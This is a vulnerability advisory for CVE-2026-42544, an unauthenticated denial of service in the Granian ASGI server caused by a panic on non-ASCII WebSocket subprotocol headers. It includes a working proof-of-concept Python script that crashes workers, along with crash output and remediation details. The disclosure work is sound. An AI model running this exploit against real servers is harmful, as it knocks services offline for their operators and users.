---
id: CVE-2026-42544
aliases:
  - GHSA-vrg7-482j-p6f6
  - PYSEC-2026-2503
title: >-
  Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header
  panic
summary: >-
  Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header
  panic
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: granian
product: granian
ecosystem: pip
affected:
  - 'granian >= 1.2.0, < 2.7.4'
patched:
  - granian 2.7.4
published: '2026-05-06'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:51:07.235904546Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-vrg7-482j-p6f6'
references:
  - url: >-
      https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-42544'
  - url: 'https://github.com/emmett-framework/granian'
tags:
  - osv
  - pip
epss: 0.00324
epssPercentile: 0.25694
ingestedAt: '2026-07-13T18:58:03.816Z'
---

## Overview

### Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

### Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.

In release builds Granian sets `panic = "abort"`, so this panic terminates the worker instead of being handled as a normal request error.


### PoC

#### Step 1.
starts a Granian ASGI server

```python
# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
```

```bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000
```

#### Step 2.
sending a raw upgrade request with `Sec-WebSocket-Protocol: \x80\xff` reached this code path and caused the worker to abort.

```python
# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
```
```bash
python ws-subproto-crash.py 127.0.0.1 8000 /
```


Observed server output:

```
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
```


### Impact

- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue

## Affected packages

- `granian >= 1.2.0, < 2.7.4`

## Remediation

Upgrade to a patched release:

- `granian 2.7.4`
